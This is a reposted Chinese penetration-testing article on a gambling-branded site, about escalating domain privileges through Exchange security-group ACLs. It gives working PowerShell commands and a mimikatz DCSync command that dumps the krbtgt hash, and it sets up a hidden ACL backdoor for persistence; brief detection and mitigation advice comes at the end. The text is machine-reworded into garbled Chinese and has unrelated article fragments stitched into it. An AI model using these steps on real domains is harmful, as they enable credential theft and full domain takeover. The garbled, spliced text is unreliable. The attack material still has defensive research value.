域渗入——运用Exchange服务器中特定的ACL完成域提权 | 申博官网
登录
  • 欢迎进入申博官网!
  • 如果您觉得申博官网对你有帮助,那么赶紧使用Ctrl+D 收藏申博官网并分享出去吧
  • 这里是申博官方网!
  • 申博官网是菲律宾sunbet官网品牌平台!
  • 申博开户专业品牌平台!

域渗入——运用Exchange服务器中特定的ACL完成域提权

申博_新闻事件 申博 29次浏览 未收录 0个评论

直击云栖大会|阿里云安全肖力:云原生安全构筑下一代企业安全架构

“数字经济的发展驱动越来越多的企业上云,每个企业都会基于云原生安全能力构筑下一代企业安全架构,完成从扁平到立体式架构的进化,届时云原生安全技术红利也将加速释放!”9月27日,阿里云智能安全事业部总经理肖力在2019杭州云栖大会·云安全峰会上指出。 肖力强调,云原生安全技术会默认植入在下一代企业安全架构的每个模块,从而升级整体安全水位。 阿里云

0x00

近来学到的一个域环境下的提权技能,在域环境中,装置Exchange后会增加一个名为Microsoft Exchange Security Groups的OU,个中包含两个特别的组:Exchange Trusted Subsystem和Exchange Windows Permission,假如取得了这两个组内恣意用户的掌握权限,就可以够继续该组的WriteDACL权限,进而修正域对象的ACL,终究完成应用DCSync导出域内一切用户hash。接下来能够运用域用户krbtgt的hash制造Golden Ticket,登录域掌握器,取得对全部域的掌握权限。

本文将会纪录复现历程,引见应用这个机制竖立提权后门的要领,细致引见运用PowerView对域对象ACL的操纵要领,末了给出检测和防备发起。

0x01 简介

本文将要引见以下内容:

· 提权要领复现

· 竖立提权后门的要领

· 检测和防备发起

0x02 提权要领复现

测试环境:

· Server2012R2 x64

· Exchange 2013

前置学问

1.经常使用缩写词

· DN:Distinguished Name

· CN:Common Name

· OU:Organizational Unit

· DC:Domain Component

· ACE:Access Control Entries

· ACL:Access Control List

LDAP衔接服务器的衔接字串花样为:ldap://servername/DN

个中DN有三个属性,分别是CN、OU和DC。

2.装置Exchange后默许会自动增加一个名为Microsoft Exchange Security Groups的OU

以下图:

个中包含两个特别的组:Exchange Trusted Subsystem和Exchange Windows Permission。

Exchange Trusted Subsystem是Exchange Windows Permission的成员。

以下图:

默许情况下,Exchange Windows Permissions对装置Exchange的域对象具有WriteDACL权限,那末Exchange Trusted Subsystem也会继续这个权限。

3.假如对域对象具有WriteDACL权限,就可以够为指定域用户增加ACE,使其取得应用DCSync导出域内一切用户hash的权限,接下来能够运用域用户krbtgt的hash制造Golden Ticket,登录域掌握器,取得对全部域的掌握权限

细致应用要领可参考之前的文章:《域渗入——DCSync》

4.运用PowerView能够对域对象的ACL举行操纵

值得注意的是PowerView存在两个版本,有些功用只在dev版本中支撑,两个版本的地点分别为:

https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1

https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1

这个细节在之前的文章《域渗入——AdminSDHolder》有过引见。

现实测试

这里以Exchange Trusted Subsystem作为测试对象,测试用户testa的口令已取得,先将测试用户testa增加到Exchange Trusted Subsystem中

Powershell敕令以下:

Import-Module ActiveDirectory
Add-ADGroupMember -Identity "Exchange Trusted Subsystem" -Members testa

关于未装置Active Directory模块的Windows体系,能够经由过程以下敕令导入Active Directory模块:

import-module .\Microsoft.ActiveDirectory.Management.dll
Add-ADGroupMember -Identity "Exchange Trusted Subsystem" -Members testa

Microsoft.ActiveDirectory.Management.dll在装置powershell模块Active Directory后天生,我已提取出来并上传至github:

https://github.com/3gstudent/test/blob/master/Microsoft.ActiveDirectory.Management.dll

增加胜利后以下图:

域渗入——运用Exchange服务器中特定的ACL完成域提权

接下来,在另一台域内主机上完成一切提权的操纵。

1.登录用户testa

cmd:

runas /user:test\testa cmd

假如在测试历程当中,第一次将测试用户testa增加到Exchange Trusted Subsystem中,那末用户testa须要从新登录才继续WriteDACL权限。

检察用户testa地点的组:

whoami /groups

发明用户testa胜利到场Exchange Trusted Subsystem组,以下图:

域渗入——运用Exchange服务器中特定的ACL完成域提权

2.运用mimikatz的DCSync功用导出用户krbtgt的hash

cmd:

mimikatz.exe privilege::debug "lsadump::dcsync /domain:test.com /user:krbtgt /csv" exit

胜利导出用户krbtgt的hash,以下图:

域渗入——运用Exchange服务器中特定的ACL完成域提权

接下来能够运用域用户krbtgt的hash制造Golden Ticket,登录域掌握器,取得对全部域的掌握权限。

提权胜利。

Kerberos中继进击:滥用无约束委派(上)

关于在Active Directory中滥用Kerberos的研究,最近十分火爆。所以,这篇文章也讨论了一个相对未知(从攻击者的角度来看)但很危险的特性:无约束的Kerberos委派。另外,在撰写本文的过程中,我还发现了一些有趣的RPC调用,这些调用可以让域控制器对你进行身份验证,甚至允许跨越“森林边界”发起攻击。然后我发现了PrivExchange,它可以使交换验证以类似的方式

经由屡次测试,得出以下结论:

假如取得了以下三个组内恣意用户的权限,都能够应用DCSync导出域内一切用户hash。

组名以下:

· Exchange Trusted Subsystem

· Exchange Windows Permission

· Organization Management

0x03 竖立提权后门的要领

假如取得了全部域的掌握权限,能够应用Exchange中的ACL作为域提权的后门。

要领1:直接在Exchange的三个组内增加后门用户

这里以Exchange Trusted Subsystem为例。

Powershell敕令以下:

Import-Module ActiveDirectory
Add-ADGroupMember -Identity "Exchange Trusted Subsystem" -Members testa

然则不够隐藏,很轻易被发明增加的用户。

检察的敕令以下:

net group "Exchange Trusted Subsystem" /domain

要领2:只增加特定用户对Exchange中三个组ACL的掌握权限

这里以Exchange Trusted Subsystem为例。

1.起首须要找到Exchange Trusted Subsystem的DN(Distinguished Name)

须要运用Powerview的dev版本,地点以下:

https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1

检察一切DN的Powershell敕令以下:

Import-Module .\PowerView.ps1
Get-DomainObject -Properties distinguishedname |fl

找到Exchange Trusted Subsystem的DN为:CN=Exchange Trusted Subsystem,OU=Microsoft Exchange Security Groups,DC=test,DC=com

2.检察Exchange Trusted Subsystem的ACL

Powershell敕令以下:

Get-DomainObjectAcl -SearchBase "LDAP://CN=Exchange Trusted Subsystem,OU=Microsoft Exchange Security Groups,DC=test,DC=com"

3.取得Exchange Trusted Subsystem的原始数据

$RawObject = Get-DomainObject -SearchBase "LDAP://CN=Exchange Trusted Subsystem,OU=Microsoft Exchange Security Groups,DC=test,DC=com" -Raw

4.增加后门用户testb对Exchange Trusted Subsystem的完整接见权限

$RawObject = Get-DomainObject -SearchBase "LDAP://CN=Exchange Trusted Subsystem,OU=Microsoft Exchange Security Groups,DC=test,DC=com" -Raw
$TargetObject = $RawObject.GetDirectoryEntry()
$ACE = New-ADObjectAccessControlEntry -InheritanceType All -AccessControlType Allow -PrincipalIdentity testb -Right AccessSystemSecurity,CreateChild,Delete,DeleteChild,DeleteTree,ExtendedRight,GenericAll,GenericExecute,GenericRead,GenericWrite,ListChildren,ListObject,ReadControl,ReadProperty,Self,Synchronize,WriteDacl,WriteOwner,WriteProperty
$TargetObject.PsBase.ObjectSecurity.AddAccessRule($ACE)
$TargetObject.PsBase.CommitChanges()

补充:

移除后门用户testb对Exchange Trusted Subsystem的完整接见权限:

$RawObject = Get-DomainObject -SearchBase "LDAP://CN=Exchange Trusted Subsystem,OU=Microsoft Exchange Security Groups,DC=test,DC=com" -Raw
$TargetObject = $RawObject.GetDirectoryEntry()
$ACE = New-ADObjectAccessControlEntry -InheritanceType All -AccessControlType Allow -PrincipalIdentity testb -Right AccessSystemSecurity,CreateChild,Delete,DeleteChild,DeleteTree,ExtendedRight,GenericAll,GenericExecute,GenericRead,GenericWrite,ListChildren,ListObject,ReadControl,ReadProperty,Self,Synchronize,WriteDacl,WriteOwner,WriteProperty
$TargetObject.PsBase.ObjectSecurity.RemoveAccessRule($ACE)
$TargetObject.PsBase.CommitChanges()

5.检察用户testb的sid

Get-DomainUser testb

以下图:

域渗入——运用Exchange服务器中特定的ACL完成域提权

用户testb的objectsid为S-1-5-21-1672228480-1396590849-334771951-2105

6.检察属于新增加用户testb的ACE

Get-DomainObjectAcl -SearchBase "LDAP://CN=Exchange Trusted Subsystem,OU=Microsoft Exchange Security Groups,DC=test,DC=com" | Where-Object {$_.SecurityIdentifier -eq "S-1-5-21-1672228480-1396590849-334771951-2105"}

以下图:

域渗入——运用Exchange服务器中特定的ACL完成域提权

至此,后门装置胜利。

此时检察Exchange Trusted Subsystem组的用户:

net group "Exchange Trusted Subsystem" /domain

没法发明后门用户testb。

后门启动要领

1.在另一台域内主机上登录用户testb

cmd:

runas /user:test\testb cmd

2.将用户testb增加到Exchange Trusted Subsystem

因为用户testb有对Exchange Trusted Subsystem的完整接见权限,所以能够将本身增加到Exchange Trusted Subsystem组中

Powershell敕令以下:

import-module .\Microsoft.ActiveDirectory.Management.dll
Add-ADGroupMember -Identity "Exchange Trusted Subsystem" -Members testb

3.从新登录用户testb

cmd:

runas /user:test\testb cmd

4.运用mimikatz的DCSync功用导出用户krbtgt的hash

cmd:

mimikatz.exe privilege::debug "lsadump::dcsync /domain:test.com /user:krbtgt /csv" exit

5.将用户testb从Exchange Trusted Subsystem组中移除

Powershell敕令以下:

import-module .\Microsoft.ActiveDirectory.Management.dll
Remove-ADGroupMember -Identity "Exchange Trusted Subsystem" -Members testb -confirm:$false

因为用户testb具有对Exchange Trusted Subsystem的完整接见权限,所以能够重复将本身增加或是移除Exchange Trusted Subsystem。

0x04 检测和防备发起

从泉源上修复:去除Exchange Windows Permissions的WriteDACL权限。

可供参考的剧本:

https://github.com/gdedrouas/Exchange-AD-Privesc/blob/master/DomainObject/Fix-DomainObjectDACL.ps1

日记检测:

须要开启Active Directory的高等平安考核战略,当域对象的ACL被修正后,将发生ID为5136的日记。

参考资料:

https://blogs.technet.microsoft.com/canitpro/2017/03/29/step-by-step-enabling-advanced-security-audit-policy-via-ds-access/

0x05 小结

本文纪录了运用Exchange中特定ACL举行提权的历程,剖析了应用前提,连系这个机制引见了一个提权后门的应用要领,末了给出检测和防备发起。

原文地点: https://www.4hou.com/technology/20549.html


申博|网络安全巴士站声明:该文看法仅代表作者自己,与本平台无关。版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权
转载请注明域渗入——运用Exchange服务器中特定的ACL完成域提权
喜欢 (0)
[]
分享 (0)
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址